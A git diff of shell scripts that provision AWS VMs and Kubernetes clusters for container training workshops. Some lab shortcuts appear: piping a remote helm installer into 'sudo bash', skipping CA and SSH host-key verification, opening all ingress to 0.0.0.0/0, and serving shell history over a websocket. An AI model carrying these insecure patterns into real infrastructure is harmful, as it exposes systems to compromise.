+    pssh "
+    sudo systemctl disable docker.service
+    sudo systemctl disable docker.socket
+    sudo systemctl stop docker
+    sudo killall containerd
+    "
+}
+
+_cmd kubebins "Install Kubernetes and CNI binaries but don't start anything"
+_cmd_kubebins() {
+    TAG=$1
+    need_tag
+
+    pssh --timeout 300 "
+    set -e
+    cd /usr/local/bin
+    if ! [ -x etcd ]; then
+        ##VERSION##
+        curl -L https://github.com/etcd-io/etcd/releases/download/v3.4.3/etcd-v3.4.3-linux-amd64.tar.gz \
+        | sudo tar --strip-components=1 --wildcards -zx '*/etcd' '*/etcdctl'
+    fi
+    if ! [ -x hyperkube ]; then
+        ##VERSION##
+        curl -L https://dl.k8s.io/v1.17.2/kubernetes-server-linux-amd64.tar.gz \
+        | sudo tar --strip-components=3 -zx \
+          kubernetes/server/bin/kube{ctl,let,-proxy,-apiserver,-scheduler,-controller-manager}
+    fi
+    sudo mkdir -p /opt/cni/bin
+    cd /opt/cni/bin
+    if ! [ -x bridge ]; then
+        curl -L https://github.com/containernetworking/plugins/releases/download/v0.7.6/cni-plugins-amd64-v0.7.6.tgz \
+        | sudo tar -zx
+    fi
+    "
 }
 
 _cmd kube "Setup kubernetes clusters with kubeadm (must be run AFTER deploy)"
 _cmd_kube() {
+    TAG=$1
+    need_tag
+
+    # Optional version, e.g. 1.13.5
+    KUBEVERSION=$2
+    if [ "$KUBEVERSION" ]; then
+        EXTRA_APTGET="=$KUBEVERSION-00"
+        EXTRA_KUBEADM="--kubernetes-version=v$KUBEVERSION"
+    else
+        EXTRA_APTGET=""
+        EXTRA_KUBEADM=""
+    fi
 
     # Install packages
     pssh --timeout 200 "
@@ -134,19 +172,19 @@ _cmd_kube() {
     sudo tee /etc/apt/sources.list.d/kubernetes.list"
     pssh --timeout 200 "
     sudo apt-get update -q &&
-    sudo apt-get install -qy kubelet kubeadm kubectl
+    sudo apt-get install -qy kubelet$EXTRA_APTGET kubeadm$EXTRA_APTGET kubectl$EXTRA_APTGET &&
     kubectl completion bash | sudo tee /etc/bash_completion.d/kubectl"
 
     # Initialize kube master
     pssh --timeout 200 "
-    if grep -q node1 /tmp/node && [ ! -f /etc/kubernetes/admin.conf ]; then
-        kubeadm token generate > /tmp/token
-	sudo kubeadm init --token \$(cat /tmp/token)
+    if i_am_first_node && [ ! -f /etc/kubernetes/admin.conf ]; then
+        kubeadm token generate > /tmp/token &&
+	sudo kubeadm init $EXTRA_KUBEADM --token \$(cat /tmp/token) --apiserver-cert-extra-sans \$(cat /tmp/ipv4)
     fi"
 
     # Put kubeconfig in ubuntu's and docker's accounts
     pssh "
-    if grep -q node1 /tmp/node; then
+    if i_am_first_node; then
         sudo mkdir -p \$HOME/.kube /home/docker/.kube &&
         sudo cp /etc/kubernetes/admin.conf \$HOME/.kube/config &&
         sudo cp /etc/kubernetes/admin.conf /home/docker/.kube/config &&
@@ -156,53 +194,103 @@ _cmd_kube() {
 
     # Install weave as the pod network
     pssh "
-    if grep -q node1 /tmp/node; then
-        kubever=\$(kubectl version | base64 | tr -d '\n')
+    if i_am_first_node; then
+        kubever=\$(kubectl version | base64 | tr -d '\n') &&
         kubectl apply -f https://cloud.weave.works/k8s/net?k8s-version=\$kubever
     fi"
 
     # Join the other nodes to the cluster
     pssh --timeout 200 "
-    if ! grep -q node1 /tmp/node && [ ! -f /etc/kubernetes/kubelet.conf ]; then
-        TOKEN=\$(ssh -o StrictHostKeyChecking=no node1 cat /tmp/token)
-        sudo kubeadm join --discovery-token-unsafe-skip-ca-verification --token \$TOKEN node1:6443
+    if ! i_am_first_node && [ ! -f /etc/kubernetes/kubelet.conf ]; then
+        FIRSTNODE=\$(cat /etc/name_of_first_node) &&
+        TOKEN=\$(ssh -o StrictHostKeyChecking=no \$FIRSTNODE cat /tmp/token) &&
+        sudo kubeadm join --discovery-token-unsafe-skip-ca-verification --token \$TOKEN \$FIRSTNODE:6443
     fi"
 
+    # Install metrics server
+    pssh "
+    if i_am_first_node; then
+	kubectl apply -f https://raw.githubusercontent.com/jpetazzo/container.training/master/k8s/metrics-server.yaml
+    fi"
+
+    # Install kubectx and kubens
+    pssh "
+    [ -d kubectx ] || git clone https://github.com/ahmetb/kubectx &&
+    sudo ln -sf /home/ubuntu/kubectx/kubectx /usr/local/bin/kctx &&
+    sudo ln -sf /home/ubuntu/kubectx/kubens /usr/local/bin/kns &&
+    sudo cp /home/ubuntu/kubectx/completion/*.bash /etc/bash_completion.d &&
+    [ -d kube-ps1 ] || git clone https://github.com/jonmosco/kube-ps1 &&
+    sudo -u docker sed -i s/docker-prompt/kube_ps1/ /home/docker/.bashrc &&
+    sudo -u docker tee -a /home/docker/.bashrc <<EOF
+. /home/ubuntu/kube-ps1/kube-ps1.sh
+KUBE_PS1_PREFIX=""
+KUBE_PS1_SUFFIX=""
+KUBE_PS1_SYMBOL_ENABLE="false"
+KUBE_PS1_CTX_COLOR="green"
+KUBE_PS1_NS_COLOR="green"
+EOF"
+
     # Install stern
     pssh "
     if [ ! -x /usr/local/bin/stern ]; then
-        sudo curl -L -o /usr/local/bin/stern https://github.com/wercker/stern/releases/download/1.8.0/stern_linux_amd64
-        sudo chmod +x /usr/local/bin/stern
+        ##VERSION##
+        sudo curl -L -o /usr/local/bin/stern https://github.com/wercker/stern/releases/download/1.11.0/stern_linux_amd64 &&
+        sudo chmod +x /usr/local/bin/stern &&
         stern --completion bash | sudo tee /etc/bash_completion.d/stern
     fi"
 
     # Install helm
     pssh "
     if [ ! -x /usr/local/bin/helm ]; then
-        curl https://raw.githubusercontent.com/kubernetes/helm/master/scripts/get | sudo bash
+        curl https://raw.githubusercontent.com/kubernetes/helm/master/scripts/get-helm-3 | sudo bash &&
         helm completion bash | sudo tee /etc/bash_completion.d/helm
     fi"
 
+    # Install ship
+    pssh "
+    if [ ! -x /usr/local/bin/ship ]; then
+        ##VERSION##
+        curl -L https://github.com/replicatedhq/ship/releases/download/v0.40.0/ship_0.40.0_linux_amd64.tar.gz |
+             sudo tar -C /usr/local/bin -zx ship
+    fi"
+
+    # Install the AWS IAM authenticator
+    pssh "
+    if [ ! -x /usr/local/bin/aws-iam-authenticator ]; then
+	    ##VERSION##
+        sudo curl -o /usr/local/bin/aws-iam-authenticator https://amazon-eks.s3-us-west-2.amazonaws.com/1.12.7/2019-03-27/bin/linux/amd64/aws-iam-authenticator
+	sudo chmod +x /usr/local/bin/aws-iam-authenticator
+    fi"
 
     sep "Done"
 }
 
-_cmd kubetest "Check that all notes are reporting as Ready"
+_cmd kubereset "Wipe out Kubernetes configuration on all nodes"
+_cmd_kubereset() {
+    TAG=$1
+    need_tag
+
+    pssh "sudo kubeadm reset --force"
+}
+
+_cmd kubetest "Check that all nodes are reporting as Ready"
 _cmd_kubetest() {
+    TAG=$1
+    need_tag
+
     # There are way too many backslashes in the command below.
     # Feel free to make that better ♥
     pssh "
     set -e
-    [ -f /tmp/node ]
-    if grep -q node1 /tmp/node; then
+    if i_am_first_node; then
       which kubectl
-      for NODE in \$(awk /\ node/\ {print\ \\\$2} /etc/hosts); do
+      for NODE in \$(awk /[0-9]\$/\ {print\ \\\$2} /etc/hosts); do
         echo \$NODE ; kubectl get nodes | grep -w \$NODE | grep -w Ready
       done
     fi"
 }
 
-_cmd ids "List the instance IDs belonging to a given tag or token"
+_cmd ids "(FIXME) List the instance IDs belonging to a given tag or token"
 _cmd_ids() {
     TAG=$1
     need_tag $TAG
@@ -215,262 +303,398 @@ _cmd_ids() {
     aws_get_instance_ids_by_client_token $TAG
 }
 
-_cmd ips "List the IP addresses of the VMs for a given tag or token"
-_cmd_ips() {
-    TAG=$1
-    need_tag $TAG
-    mkdir -p tags/$TAG
-    aws_get_instance_ips_by_tag $TAG | tee tags/$TAG/ips.txt
-    link_tag $TAG
-}
-
-_cmd list "List available batches in the current region"
+_cmd list "List available groups for a given infrastructure"
 _cmd_list() {
-    info "Listing batches in region $AWS_DEFAULT_REGION:"
-    aws_display_tags
+    need_infra $1
+    infra_list
 }
 
-_cmd status "List instance status for a given batch"
-_cmd_status() {
-    info "Using region $AWS_DEFAULT_REGION."
+_cmd listall "List VMs running on all configured infrastructures"
+_cmd_listall() {
+    for infra in infra/*; do
+        case $infra in
+        infra/example.*)
+            ;;
+        *)
+            info "Listing infrastructure $infra:"
+            need_infra $infra
+            infra_list
+            ;;
+        esac
+    done
+}
+
+_cmd maketag "Generate a quasi-unique tag for a group of instances"
+_cmd_maketag() {
+    if [ -z $USER ]; then
+        export USER=anonymous
+    fi
+    MS=$(($(date +%N)/1000000))
+    date +%Y-%m-%d-%H-%M-$MS-$USER
+}
+
+_cmd ping "Ping VMs in a given tag, to check that they have network access"
+_cmd_ping() {
     TAG=$1
-    need_tag $TAG
-    describe_tag $TAG
-    tag_is_reachable $TAG
-    info "You may be interested in running one of the following commands:"
-    info "$0 ips $TAG"
-    info "$0 deploy $TAG <settings/somefile.yaml>"
+    need_tag
+
+    fping < tags/$TAG/ips.txt
+}
+
+_cmd netfix "Disable GRO and run a pinger job on the VMs"
+_cmd_netfix () {
+    TAG=$1
+    need_tag
+
+    pssh "
+    sudo ethtool -K ens3 gro off
+    sudo tee /root/pinger.service <<EOF
+[Unit]
+Description=pinger
+
+[Install]
+WantedBy=multi-user.target
+
+[Service]
+WorkingDirectory=/
+ExecStart=/bin/ping -w60 1.1
+User=nobody
+Group=nogroup
+Restart=always
+EOF
+    sudo systemctl enable /root/pinger.service
+    sudo systemctl start pinger"
+}
+
+_cmd tailhist "Install history viewer on port 1088"
+_cmd_tailhist () {
+    TAG=$1
+    need_tag
+
+    pssh "
+    wget https://github.com/joewalnes/websocketd/releases/download/v0.3.0/websocketd-0.3.0_amd64.deb
+    sudo dpkg -i websocketd-0.3.0_amd64.deb
+    sudo mkdir -p /tmp/tailhist
+    sudo tee /root/tailhist.service <<EOF
+[Unit]
+Description=tailhist
+
+[Install]
+WantedBy=multi-user.target
+
+[Service]
+WorkingDirectory=/tmp/tailhist
+ExecStart=/usr/bin/websocketd --port=1088 --staticdir=. sh -c \"tail -n +1 -f /home/docker/.history || echo 'Could not read history file. Perhaps you need to \\\"chmod +r .history\\\"?'\"
+User=nobody
+Group=nogroup
+Restart=always
+EOF
+    sudo systemctl enable /root/tailhist.service
+    sudo systemctl start tailhist"
+    pssh -I sudo tee /tmp/tailhist/index.html <lib/tailhist.html
 }
 
 _cmd opensg "Open the default security group to ALL ingress traffic"
 _cmd_opensg() {
-    aws ec2 authorize-security-group-ingress \
-        --group-name default \
-        --protocol icmp \
-        --port -1 \
-        --cidr 0.0.0.0/0
+    need_infra $1
+    infra_opensg
+}
 
-    aws ec2 authorize-security-group-ingress \
-        --group-name default \
-        --protocol udp \
-        --port 0-65535 \
-        --cidr 0.0.0.0/0
+_cmd portworx "Prepare the nodes for Portworx deployment"
+_cmd_portworx() {
+    TAG=$1
+    need_tag
 
-    aws ec2 authorize-security-group-ingress \
-        --group-name default \
-        --protocol tcp \
-        --port 0-65535 \
-        --cidr 0.0.0.0/0
+    pssh "
+    sudo truncate --size 10G /portworx.blk &&
+    sudo losetup /dev/loop4 /portworx.blk"
+}
+
+_cmd disableaddrchecks "Disable source/destination IP address checks"
+_cmd_disableaddrchecks() {
+    TAG=$1
+    need_tag
+
+    infra_disableaddrchecks
+}
+
+_cmd pssh "Run an arbitrary command on all nodes"
+_cmd_pssh() {
+    TAG=$1
+    need_tag
+    shift
+
+    pssh "$@"
 }
 
 _cmd pull_images "Pre-pull a bunch of Docker images"
 _cmd_pull_images() {
     TAG=$1
-    need_tag $TAG
-    pull_tag $TAG
+    need_tag
+    pull_tag
 }
 
-_cmd retag "Apply a new tag to a batch of VMs"
+_cmd remap_nodeports "Remap NodePort range to 10000-10999"
+_cmd_remap_nodeports() {
+    TAG=$1
+    need_tag
+
+    FIND_LINE="    - --service-cluster-ip-range=10.96.0.0\/12"
+    ADD_LINE="    - --service-node-port-range=10000-10999"
+    MANIFEST_FILE=/etc/kubernetes/manifests/kube-apiserver.yaml
+    pssh "
+    if i_am_first_node && ! grep -q '$ADD_LINE' $MANIFEST_FILE; then
+        sudo sed -i 's/\($FIND_LINE\)\$/\1\n$ADD_LINE/' $MANIFEST_FILE
+    fi"
+}
+
+_cmd quotas "Check our infrastructure quotas (max instances)"
+_cmd_quotas() {
+    need_infra $1
+    infra_quotas
+}
+
+_cmd retag "(FIXME) Apply a new tag to a group of VMs"
 _cmd_retag() {
     OLDTAG=$1
     NEWTAG=$2
-    need_tag $OLDTAG
+    TAG=$OLDTAG
+    need_tag
     if [[ -z "$NEWTAG" ]]; then
         die "You must specify a new tag to apply."
     fi
     aws_tag_instances $OLDTAG $NEWTAG
 }
 
-_cmd start "Start a batch of VMs"
+_cmd ssh "Open an SSH session to the first node of a tag"
+_cmd_ssh() {
+    TAG=$1
+    need_tag
+    IP=$(head -1 tags/$TAG/ips.txt)
+    info "Logging into $IP"
+    ssh docker@$IP
+}
+
+_cmd start "Start a group of VMs"
 _cmd_start() {
-    # Number of instances to create
-    COUNT=$1
-    # Optional settings file (to carry on with deployment)
-    SETTINGS=$2
+    while [ ! -z "$*" ]; do
+        case "$1" in
+        --infra) INFRA=$2; shift 2;;
+        --settings) SETTINGS=$2; shift 2;;
+        --count) COUNT=$2; shift 2;;
+        --tag) TAG=$2; shift 2;;
+        *) die "Unrecognized parameter: $1."
+        esac
+    done
 
+    if [ -z "$INFRA" ]; then
+        die "Please add --infra flag to specify which infrastructure file to use."
+    fi
+    if [ -z "$SETTINGS" ]; then
+        die "Please add --settings flag to specify which settings file to use."
+    fi
     if [ -z "$COUNT" ]; then
-        die "Indicate number of instances to start."
+        COUNT=$(awk '/^clustersize:/ {print $2}' $SETTINGS)
+        warning "No --count option was specified. Using value from settings file ($COUNT)."
     fi
 
-    # Print our AWS username, to ease the pain of credential-juggling
-    greet
+    # Check that the specified settings and infrastructure are valid.
+    need_settings $SETTINGS
+    need_infra $INFRA
 
-    # Upload our SSH keys to AWS if needed, to be added to each VM's authorized_keys
-    key_name=$(sync_keys)
-
-    AMI=$(_cmd_ami)    # Retrieve the AWS image ID
-    if [ -z "$AMI" ]; then
-        die "I could not find which AMI to use in this region. Try another region?"
+    if [ -z "$TAG" ]; then
+        TAG=$(_cmd_maketag)
     fi
-    TOKEN=$(get_token) # generate a timestamp token for this batch of VMs
-    AWS_KEY_NAME=$(make_key_name)
-
-    sep "Starting instances"
-    info "         Count: $COUNT"
-    info "        Region: $AWS_DEFAULT_REGION"
-    info "     Token/tag: $TOKEN"
-    info "           AMI: $AMI"
-    info "      Key name: $AWS_KEY_NAME"
-    result=$(aws ec2 run-instances \
-        --key-name $AWS_KEY_NAME \
-        --count $COUNT \
-        --instance-type ${AWS_INSTANCE_TYPE-t2.medium} \
-        --client-token $TOKEN \
-        --image-id $AMI)
-    reservation_id=$(echo "$result" | head -1 | awk '{print $2}')
-    info "Reservation ID: $reservation_id"
-    sep
-
-    # if instance creation succeeded, we should have some IDs
-    IDS=$(aws_get_instance_ids_by_client_token $TOKEN)
-    if [ -z "$IDS" ]; then
-        die "Instance creation failed."
-    fi
-
-    # Tag these new instances with a tag that is the same as the token
-    TAG=$TOKEN
-    aws_tag_instances $TOKEN $TAG
-
-    wait_until_tag_is_running $TAG $COUNT
+    mkdir -p tags/$TAG
+    ln -s ../../$INFRA tags/$TAG/infra.sh
+    ln -s ../../$SETTINGS tags/$TAG/settings.yaml
+    echo creating > tags/$TAG/status
 
+    infra_start $COUNT
     sep
     info "Successfully created $COUNT instances with tag $TAG"
     sep
+    echo created > tags/$TAG/status
 
-    mkdir -p tags/$TAG
-    IPS=$(aws_get_instance_ips_by_tag $TAG)
-    echo "$IPS" >tags/$TAG/ips.txt
-    link_tag $TAG
-    if [ -n "$SETTINGS" ]; then
-        _cmd_deploy $TAG $SETTINGS
-    else
-        info "To deploy or kill these instances, run one of the following:"
-        info "$0 deploy $TAG <settings/somefile.yaml>"
-        info "$0 stop $TAG"
-    fi
-}
-
-_cmd ec2quotas "Check our EC2 quotas (max instances)"
-_cmd_ec2quotas() {
-    greet
-
-    max_instances=$(aws ec2 describe-account-attributes \
-        --attribute-names max-instances \
-        --query 'AccountAttributes[*][AttributeValues]')
-    info "In the current region ($AWS_DEFAULT_REGION) you can deploy up to $max_instances instances."
-
-    # Print list of AWS EC2 regions, highlighting ours ($AWS_DEFAULT_REGION) in the list
-    # If our $AWS_DEFAULT_REGION is not valid, the error message will be pretty descriptive:
-    # Could not connect to the endpoint URL: "https://ec2.foo.amazonaws.com/"
-    info "Available regions:"
-    aws ec2 describe-regions | awk '{print $3}' | grep --color=auto $AWS_DEFAULT_REGION -C50
+    info "To deploy Docker on these instances, you can run:"
+    info "$0 deploy $TAG"
+    info "To terminate these instances, you can run:"
+    info "$0 stop $TAG"
 }
 
 _cmd stop "Stop (terminate, shutdown, kill, remove, destroy...) instances"
 _cmd_stop() {
     TAG=$1
-    need_tag $TAG
-    aws_kill_instances_by_tag $TAG
+    need_tag
+    infra_stop
+    echo stopped > tags/$TAG/status
 }
 
-_cmd test "Run tests (pre-flight checks) on a batch of VMs"
+_cmd tags "List groups of VMs known locally"
+_cmd_tags() {
+    (
+        cd tags
+        echo "[#] [Status] [Tag] [Infra]" \
+           | awk '{ printf "%-7s %-12s %-25s %-25s\n", $1, $2, $3, $4}'
+        for tag in *; do
+            if [ -f $tag/ips.txt ]; then
+                count="$(wc -l < $tag/ips.txt)"
+            else
+                count="?"
+            fi
+            if [ -f $tag/status ]; then
+                status="$(cat $tag/status)"
+            else
+                status="?"
+            fi
+            if [ -f $tag/infra.sh ]; then
+                infra="$(basename $(readlink $tag/infra.sh))"
+            else
+                infra="?"
+            fi
+            echo "$count $status $tag $infra" \
+               | awk '{ printf "%-7s %-12s %-25s %-25s\n", $1, $2, $3, $4}'
+        done
+    )
+}
+
+_cmd test "Run tests (pre-flight checks) on a group of VMs"
 _cmd_test() {
     TAG=$1
-    need_tag $TAG
-    test_tag $TAG
+    need_tag
+    test_tag
 }
 
-###
+_cmd tmux "Log into the first node and start a tmux server"
+_cmd_tmux() {
+    TAG=$1
+    need_tag
+    IP=$(head -1 tags/$TAG/ips.txt)
+    info "Opening ssh+tmux with $IP"
+    rm -f /tmp/tmux-$UID/default
+    ssh -t -L /tmp/tmux-$UID/default:/tmp/tmux-1001/default docker@$IP tmux new-session -As 0
+}
+
+_cmd helmprom "Install Helm and Prometheus"
+_cmd_helmprom() {
+    TAG=$1
+    need_tag
+    pssh "
+    if i_am_first_node; then
+        sudo -u docker -H helm repo add stable https://kubernetes-charts.storage.googleapis.com/
+        sudo -u docker -H helm install prometheus stable/prometheus \
+            --namespace kube-system \
+            --set server.service.type=NodePort \
+            --set server.service.nodePort=30090 \
+            --set server.persistentVolume.enabled=false \
+            --set alertmanager.enabled=false
+    fi"
+}
+
+# Sometimes, weave fails to come up on some nodes.
+# Symptom: the pods on a node are unreachable (they don't even ping).
+# Remedy: wipe out Weave state and delete weave pod on that node.
+# Specifically, identify the weave pod that is defective, then:
+# kubectl -n kube-system exec weave-net-XXXXX -c weave rm /weavedb/weave-netdata.db
+# kubectl -n kube-system delete pod weave-net-XXXXX
+_cmd weavetest "Check that weave seems properly setup"
+_cmd_weavetest() {
+    TAG=$1
+    need_tag
+    pssh "
+    kubectl -n kube-system get pods -o name | grep weave | cut -d/ -f2 |
+    xargs -I POD kubectl -n kube-system exec POD -c weave -- \
+    sh -c \"./weave --local status | grep Connections | grep -q ' 1 failed' || ! echo POD \""
+}
+
+_cmd webssh "Install a WEB SSH server on the machines (port 1080)"
+_cmd_webssh() {
+    TAG=$1
+    need_tag
+    pssh "
+    sudo apt-get update &&
+    sudo apt-get install python-tornado python-paramiko -y"
+    pssh "
+    [ -d webssh ] || git clone https://github.com/jpetazzo/webssh"
+    pssh "
+    for KEYFILE in /etc/ssh/*.pub; do
+      read a b c < \$KEYFILE; echo localhost \$a \$b
+    done > webssh/known_hosts"
+    pssh "cat >webssh.service <<EOF
+[Unit]
+Description=webssh
+
+[Install]
+WantedBy=multi-user.target
+
+[Service]
+WorkingDirectory=/home/ubuntu/webssh
+ExecStart=/usr/bin/env python run.py --fbidhttp=false --port=1080 --policy=reject
+User=nobody
+Group=nogroup
+Restart=always
+EOF"
+    pssh "
+    sudo systemctl enable \$PWD/webssh.service &&
+    sudo systemctl start webssh.service"
+}
+
+_cmd www "Run a web server to access card HTML and PDF"
+_cmd_www() {
+    cd www
+    IPADDR=$(curl -sL canihazip.com/s)
+    info "The following files are available:"
+    for F in *; do
+        echo "http://$IPADDR:8000/$F"
+    done
+    info "Press Ctrl-C to stop server."
+    python3 -m http.server
+}
 
 greet() {
     IAMUSER=$(aws iam get-user --query 'User.UserName')
     info "Hello! You seem to be UNIX user $USER, and IAM user $IAMUSER."
 }
 
-link_tag() {
-    TAG=$1
-    need_tag $TAG
-    IPS_FILE=tags/$TAG/ips.txt
-    need_ips_file $IPS_FILE
-    ln -sf $IPS_FILE ips.txt
-}
-
 pull_tag() {
-    TAG=$1
-    need_tag $TAG
-    link_tag $TAG
-    if [ ! -s $IPS_FILE ]; then
-        die "Nonexistent or empty IPs file $IPS_FILE."
-    fi
-
     # Pre-pull a bunch of images
     pssh --timeout 900 'for I in \
-            debian:latest \
-            ubuntu:latest \
-            fedora:latest \
-            centos:latest \
-	    elasticsearch:2 \
-            postgres \
-            redis \
-	    alpine \
-	    registry \
-	    nicolaka/netshoot \
-	    jpetazzo/trainingwheels \
-	    golang \
-            training/namer \
-	    dockercoins/hasher \
-	    dockercoins/rng \
-	    dockercoins/webui \
-	    dockercoins/worker \
-	    logstash \
-	    prom/node-exporter \
-	    google/cadvisor \
-	    dockersamples/visualizer \
-            nathanleclaire/redisonrails; do
+        debian:latest \
+        ubuntu:latest \
+        fedora:latest \
+        centos:latest \
+        elasticsearch:2 \
+        postgres \
+        redis \
+        alpine \
+        registry \
+        nicolaka/netshoot \
+        jpetazzo/trainingwheels \
+        golang \
+        training/namer \
+        dockercoins/hasher \
+        dockercoins/rng \
+        dockercoins/webui \
+        dockercoins/worker \
+        logstash \
+        prom/node-exporter \
+        google/cadvisor \
+        dockersamples/visualizer \
+        nathanleclaire/redisonrails; do
         sudo -u docker docker pull $I
     done'
 
     info "Finished pulling images for $TAG."
-    info "You may now want to run:"
-    info "$0 cards $TAG <settings/somefile.yaml>"
-}
-
-wait_until_tag_is_running() {
-    max_retry=50
-    TAG=$1
-    COUNT=$2
-    i=0
-    done_count=0
-    while [[ $done_count -lt $COUNT ]]; do
-        let "i += 1"
-        info "$(printf "%d/%d instances online" $done_count $COUNT)"
-        done_count=$(aws ec2 describe-instances \
-            --filters "Name=instance-state-name,Values=running" \
-            "Name=tag:Name,Values=$TAG" \
-            --query "Reservations[*].Instances[*].State.Name" \
-            | tr "\t" "\n" \
-            | wc -l)
-
-        if [[ $i -gt $max_retry ]]; then
-            die "Timed out while waiting for instance creation (after $max_retry retries)"
-        fi
-        sleep 1
-    done
 }
 
 tag_is_reachable() {
-    TAG=$1
-    need_tag $TAG
-    link_tag $TAG
     pssh -t 5 true 2>&1 >/dev/null
 }
 
 test_tag() {
-    TAG=$1
     ips_file=tags/$TAG/ips.txt
     info "Picking a random IP address in $ips_file to run tests."
-    n=$((1 + $RANDOM % $(wc -l <$ips_file)))
-    ip=$(head -n $n $ips_file | tail -n 1)
+    ip=$(shuf -n1 $ips_file)
     test_vm $ip
     info "Tests complete."
 }
@@ -484,8 +708,8 @@ test_vm() {
     for cmd in "hostname" \
         "whoami" \
         "hostname -i" \
-        "cat /tmp/node" \
-        "cat /tmp/ipv4" \
+        "ls -l /usr/local/bin/i_am_first_node" \
+        "grep . /etc/name_of_first_node /etc/ipv4_of_first_node" \
         "cat /etc/hosts" \
         "hostnamectl status" \
         "docker version | grep Version -B1" \
@@ -545,18 +769,3 @@ sync_keys() {
         info "Using existing key $AWS_KEY_NAME."
     fi
 }
-
-get_token() {
-    if [ -z $USER ]; then
-        export USER=anonymous
-    fi
-    date +%Y-%m-%d-%H-%M-$USER
-}
-
-describe_tag() {
-    # Display instance details and reachability/status information
-    TAG=$1
-    need_tag $TAG
-    aws_display_instances_by_tag $TAG
-    aws_display_instance_statuses_by_tag $TAG
-}

prepare-vms/lib/infra.sh

@@ -0,0 +1,30 @@
+# Default stub functions for infrastructure libraries.
+# When loading an infrastructure library, these functions will be overridden.
+
+infra_list() {
+	warning "infra_list is unsupported on $INFRACLASS."
+}
+
+infra_quotas() {
+	warning "infra_quotas is unsupported on $INFRACLASS."
+}
+
+infra_start() {
+	warning "infra_start is unsupported on $INFRACLASS."
+}
+
+infra_stop() {
+	warning "infra_stop is unsupported on $INFRACLASS."
+}
+
+infra_quotas() {
+	warning "infra_quotas is unsupported on $INFRACLASS."
+}
+
+infra_opensg() {
+	warning "infra_opensg is unsupported on $INFRACLASS."
+}
+
+infra_disableaddrchecks() {
+	warning "infra_disableaddrchecks is unsupported on $INFRACLASS."
+}

prepare-vms/lib/infra/aws.sh

@@ -0,0 +1,216 @@
+infra_list() {
+    aws_display_tags
+}
+
+infra_quotas() {
+    greet
+
+    max_instances=$(aws ec2 describe-account-attributes \
+        --attribute-names max-instances \
+        --query 'AccountAttributes[*][AttributeValues]')
+    info "In the current region ($AWS_DEFAULT_REGION) you can deploy up to $max_instances instances."
+
+    # Print list of AWS EC2 regions, highlighting ours ($AWS_DEFAULT_REGION) in the list
+    # If our $AWS_DEFAULT_REGION is not valid, the error message will be pretty descriptive:
+    # Could not connect to the endpoint URL: "https://ec2.foo.amazonaws.com/"
+    info "Available regions:"
+    aws ec2 describe-regions | awk '{print $3}' | grep --color=auto $AWS_DEFAULT_REGION -C50
+}
+
+infra_start() {
+    COUNT=$1
+
+    # Print our AWS username, to ease the pain of credential-juggling
+    greet
+
+    # Upload our SSH keys to AWS if needed, to be added to each VM's authorized_keys
+    key_name=$(sync_keys)
+
+    AMI=$(aws_get_ami)    # Retrieve the AWS image ID
+    if [ -z "$AMI" ]; then
+        die "I could not find which AMI to use in this region. Try another region?"
+    fi
+    AWS_KEY_NAME=$(make_key_name)
+    AWS_INSTANCE_TYPE=${AWS_INSTANCE_TYPE-t3a.medium}
+
+    sep "Starting instances"
+    info "         Count: $COUNT"
+    info "        Region: $AWS_DEFAULT_REGION"
+    info "     Token/tag: $TAG"
+    info "           AMI: $AMI"
+    info "      Key name: $AWS_KEY_NAME"
+    info " Instance type: $AWS_INSTANCE_TYPE"
+    result=$(aws ec2 run-instances \
+        --key-name $AWS_KEY_NAME \
+        --count $COUNT \
+        --instance-type $AWS_INSTANCE_TYPE \
+        --client-token $TAG \
+        --block-device-mapping 'DeviceName=/dev/sda1,Ebs={VolumeSize=20}' \
+        --image-id $AMI)
+    reservation_id=$(echo "$result" | head -1 | awk '{print $2}')
+    info "Reservation ID: $reservation_id"
+    sep
+
+    # if instance creation succeeded, we should have some IDs
+    IDS=$(aws_get_instance_ids_by_client_token $TAG)
+    if [ -z "$IDS" ]; then
+        die "Instance creation failed."
+    fi
+
+    # Tag these new instances with a tag that is the same as the token
+    aws_tag_instances $TAG $TAG
+
+    # Wait until EC2 API tells us that the instances are running
+    wait_until_tag_is_running $TAG $COUNT
+
+    aws_get_instance_ips_by_tag $TAG > tags/$TAG/ips.txt
+}
+
+infra_stop() {
+    aws_kill_instances_by_tag
+}
+
+infra_opensg() {
+    aws ec2 authorize-security-group-ingress \
+        --group-name default \
+        --protocol icmp \
+        --port -1 \
+        --cidr 0.0.0.0/0
+
+    aws ec2 authorize-security-group-ingress \
+        --group-name default \
+        --protocol udp \
+        --port 0-65535 \
+        --cidr 0.0.0.0/0
+
+    aws ec2 authorize-security-group-ingress \
+        --group-name default \
+        --protocol tcp \
+        --port 0-65535 \
+        --cidr 0.0.0.0/0
+}
+
+infra_disableaddrchecks() {
+    IDS=$(aws_get_instance_ids_by_tag $TAG)
+    for ID in $IDS; do
+        info "Disabling source/destination IP checks on: $ID"
+        aws ec2 modify-instance-attribute --source-dest-check "{\"Value\": false}" --instance-id $ID
+    done
+}
+
+wait_until_tag_is_running() {
+    max_retry=100
+    i=0
+    done_count=0
+    while [[ $done_count -lt $COUNT ]]; do
+        let "i += 1"
+        info "$(printf "%d/%d instances online" $done_count $COUNT)"
+        done_count=$(aws ec2 describe-instances \
+            --filters "Name=tag:Name,Values=$TAG" \
+            "Name=instance-state-name,Values=running" \
+            --query "length(Reservations[].Instances[])")
+        if [[ $i -gt $max_retry ]]; then
+            die "Timed out while waiting for instance creation (after $max_retry retries)"
+        fi
+        sleep 1
+    done
+}
+
+aws_display_tags() {
+    # Print all "Name" tags in our region with their instance count
+    echo "[#] [Status] [Token] [Tag]" \
+        | awk '{ printf "%-7s %-12s %-25s %-25s\n", $1, $2, $3, $4}'
+    aws ec2 describe-instances \
+        --query "Reservations[*].Instances[*].[State.Name,ClientToken,Tags[0].Value]" \
+        | tr -d "\r" \
+        | uniq -c \
+        | sort -k 3 \
+        | awk '{ printf "%-7s %-12s %-25s %-25s\n", $1, $2, $3, $4}'
+}
+
+aws_get_tokens() {
+    aws ec2 describe-instances --output text \
+        --query 'Reservations[*].Instances[*].[ClientToken]' \
+        | sort -u
+}
+
+aws_display_instance_statuses_by_tag() {
+    IDS=$(aws ec2 describe-instances \
+        --filters "Name=tag:Name,Values=$TAG" \
+        --query "Reservations[*].Instances[*].InstanceId" | tr '\t' ' ')
+
+    aws ec2 describe-instance-status \
+        --instance-ids $IDS \
+        --query "InstanceStatuses[*].{ID:InstanceId,InstanceState:InstanceState.Name,InstanceStatus:InstanceStatus.Status,SystemStatus:SystemStatus.Status,Reachability:InstanceStatus.Status}" \
+        --output table
+}
+
+aws_display_instances_by_tag() {
